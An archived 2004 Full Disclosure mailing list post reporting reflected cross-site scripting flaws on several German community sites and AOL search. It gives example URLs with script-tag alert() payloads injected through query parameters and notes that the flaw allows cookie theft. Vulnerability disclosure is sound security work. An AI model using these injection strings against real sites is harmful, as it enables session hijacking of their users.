Full Disclosure mailing list archives
XSS vulnerabilities in several german communities + aol search
From: Habonator _ <habonator () gmail com>
Date: Sun, 24 Oct 2004 23:59:26 +0200
I've discovered XSS bugs in several big german communities. All these communities use a cookie based authentification so its possible to inject script code to steal users cookies. All vendors have been informed. 1. giga.de - NBC GIGA Community ************* Affected: Whole Comment-System Example: http://www.giga.de/news/comments/index.php?id=XXXXXX&newstypid=XXXXX"><script>alert("foo");</script><form%20" 2. pcwelt.de - Community of the PC-WELT - Magazine ************* Affected: Search Example: http://www.pcwelt.de/index.cfm?pid=XXX&stichwort=<script>alert("foo");</script> 3. autoscout24.de - online car market ************* Affected: All offering sites Example: http://www.autoscout24.de/home/index/detail.asp?ts=XXXXXXX"><script>alert("foo");</script><form%20"&source=topcar&id=XXXXXXXXXXX Last but not least, not a community but a funny one: http://suche.aol.de/suche/search.jsp?q=%3Cscript%3Ealert%28%27foo%27%29%3B%3C%2Fscript%3E&wo= ************************** Discovered by "Habonator" At home at http://www.hackerboard.de Hi to tripbit. ************************** _______________________________________________ Full-Disclosure - We believe in it. Charter: http://lists.netsys.com/full-disclosure-charter.html
Current thread:
- XSS vulnerabilities in several german communities + aol search Habonator _ (Oct 24)